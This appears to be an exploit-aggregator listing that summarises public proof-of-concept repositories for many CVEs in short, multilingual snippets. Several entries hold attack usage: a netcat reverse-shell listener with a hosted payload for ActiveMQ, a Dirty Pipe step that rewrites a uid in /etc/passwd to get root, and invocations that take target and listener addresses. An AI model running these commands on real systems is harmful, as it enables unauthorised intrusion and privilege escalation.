CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ の認証なしリモートコード実行の Python 実装 セットアップとエクスプロイト nc -lvnp 4444 - リスナーを開始 python3 -m http.server 8080 - ペイロードを含む poc.xml をホストする python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - エクスプロイトを開始...

CVE-2017-0199

CVE-2017-0199 El toolkit de explotación CVE-2017-0199 - v2.0 es un práctico script en Python que proporciona una forma rápida y efectiva de explotar la ejecución remota de código en Microsoft RTF. Puede generar un archivo RTF malicioso y entregar la carga útil de metasploit / meterpreter a la...

PoC-CVE-2017-0199

PoC-CVE-2017-0199 用于远程代码执行（RCE）漏洞 Microsoft RTF 的利用工具包。 关于此漏洞：https://errorcybernews.com/2017/04/11/microsoft-word-zero-day/...

CVE-2021-21551-POC

DbUtilAx Una prueba de concepto extendida para el exploit de kernel Dell ‘dbutil23.sys’ del CVE-2021-21551. Lee el artículo completo aquí...

CVE-2021-21389

使用说明 1. 通过docker构建易受攻击的wordpress和buddypress环境。 2. 构建并运行mariaDB容器。 3. 让两个容器在同一网络中运行。 例如：docker network create wordpressnetwork docker network connect wordpressnetwork wordpressapp docker network connect wordpressnetwork wordpressdb 4. 通过以下命令执行payload： python3 CVE-2021-21389.py http://localhost:808...

CVE-2019-2215

Bad-Binder CVE-2019-2215 以下是针对 bad binder CVE-2019-2215 漏洞的利用程序，已在 x86 模拟器上测试。其目的是利用 UAF 漏洞触发 AAR 原语来泄漏内核地址，并使用 AAW 原语覆盖 addrlimit，从而获得内核读写原语，使我们可以修改 credstruct 以实现本地权限提升 LPE。 致谢 https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html...

CVE-2018-9995-2

ツール CVE-2018-9995-2 root@kitploit: CVE: CVE-2018-9995 エクスプロイト作者: Fernandez Ezequiel @capitanalfa 修正者: Kien Quoc バージョン: 2.0 Python3 のインストール root@kitploit: apt-get install git pip3 install requests pip3 install colorama sudo apt update apt-get install python3 クイックスタート root@kitploit: git clone...

0day

0day 由于众所周知的原因，原始仓库被删除，但保留了副本，forks和stars 清零 不过请放心，还是原来的配方，原来的味道。 为了避免再次出现这种情况找不到此项目，可以Follow 一下 本仓库所有内容仅限用于学习交流 English | 中文 各种CMS、各种平台、各种系统、各种软件漏洞的EXP、POC ,该项目将持续更新 优秀项目列表 1. Fastjson RCE https://github.com/dbgee/fastjson-rce 2. Log4j RCE https://github.com/dbgee/log4j2rce 3. redis RCE...

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Samba usermap 脚本。 https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 用法： root@kitploit: $ python usermapscript.py RHOST -- 目标地址 RPORT -- 目标端口（TCP：139） LHOST -- 监听地址 LPORT -- 监听端口 安装 root@kitploit: sudo apt install python python-pip pip install --user...

thm_steelmountain_CVE-2014-6287

thmsteelmountainCVE-2014-6287 一个为CVE-2014-6287编写的利用程序的Python3版本。用于在不使用metasploit的情况下完成TryHackMe.com上的"Steel Mountain"房间。...

Remote-Buffer-overflow-CVE-2003-0172

Remote-Buffer-overflow-CVE-2003-0172 root@kitploit: ┌──cyberdesu㉿MSI- └─$ python3 buffer.py usage: exploit.py...

CVE-2013-3651

CVE-2013-3651 PoC - EC-CUBE 2 Using Require Python 3 Exec root@kitploit: $ python poccve20133651.py - e.g. $ python poccve20133651.py http://127.0.0.1:9000/ Result: Vulnerable! PoC 脆弱性 | ECサイト構築・リニューアルは「ECオープンプラットフォームEC-CUBE」 https://www.ec-cube.net/info/weakness/weakness.php?id=49 Reference...

iovy_root_research

灵感来自 dosomder/iovyroot https://github.com/dosomder/iovyroot 一个基于 CVE-2015-1805 漏洞 的 root 工具 它支持 32 位和 64 位，通过 swi 获取系统调用表地址。参考 在 Android 上获取 syscalltable...

CVE-2024-5274

CVE-2024-5274 作者：@mistymntncop, @buptsb 特别感谢 @buptsb 的巨大贡献，他发现了 DCHECK 字节码不匹配的 POC，并随后发现了如何将该原语提升为更强大的 OOB 读写原语。没有他，这个漏洞利用将不可能实现 :- 基于 ITW 漏洞利用（作者未知），由 @clem1, @btiszka 发现...

CVE-2022-4262

Exploit for CVE-2022-4262 官方 Chromium 漏洞报告。 致谢 @clem1 发现 ITW 漏洞利用。 致谢 @5aelo 对漏洞的 RCA。 致谢 @bjrjk 对漏洞的 超深入 RCA。 致谢 @alisaesage 关于漏洞的 视频。...

CVE-2022-0847

root@kitploit: gcc exploit.c -o exploit -std=c99 ./exploit Usage: ./exp TARGETFILE OFFSET DATA /etc/passwd ファイル内の通常ユーザーの uid オフセット位置を見つけ、uid を 0 に変更するだけで、再ログインすると root 権限になります root@kitploit: 影響範囲 Linux Kernel バージョン = 5.8 Linux Kernel バージョン 5.16.11 / 5.15.25 / 5.10.102...

LovelySn0w

LovelySn0w. 一个 iOS CVE-2018-4150 应用程序示例。如果它在 XCode 中无法编译，请在 Twitter 上私信我。那可能是我的问题！目前尚未完成。如果你找到 root@kitploit: //ACPV ›Some version ... 你是从 PS4 场景过来的，等着我完成 PS4 漏洞的研究工作，请阅读“致 PS4 场景”部分。 在 exploit.m 文件中，该应用将准备进行严肃测试。这意味着它会对文件系统执行某些操作，例如将 .tar 文件解压到特定文件夹。对于那些不明白我意思的人： 不，这不是一个 zip-app-free 的东西，它不会为你解压...

CVE-2026-91855

A security flaw has been discovered in Open5GS up to 2.7.7. Affected by this vulnerability is an unknown functionality of the file lib/pfcp/handler.c of the component PFCP Message Handler. Performing a manipulation results in denial of service. Remote exploitation of the attack is possible. The...

CVE-2019-9053

CVE-2019-9053 CVE-2019-9053 Python 3 漏洞利用程序 最后测试时间：28-12-2021 测试环境：Python 3.10.1 原始漏洞利用代码来源：https://www.exploit-db.com/exploits/46635 用户对使用此工具执行的任何操作承担全部责任。 如果您不接受这些条款，请勿使用此工具。 请仅在您有权执行渗透测试活动的环境中使用此工具。 请勿将此工具用于任何恶意目的。 关于字典文件字符编码的说明 此漏洞利用代码需要 UTF-8 格式的字典文件。 例如，如果您按照某些 CTF 教程使用 Kali-Linux 自带的 rocky...

CVE-2022-27925

CVE-2022-27925 Configuración root@kitploit: git clone https://github.com/miko550/CVE-2022-27925.git cd CVE-2022-27925 Uso root@kitploit: usage: CVE-2022-2925.py -h -t TARGET -l LIST options: -h, --help show this help message and exit -t TARGET, --target TARGET The URL of the target, eg:...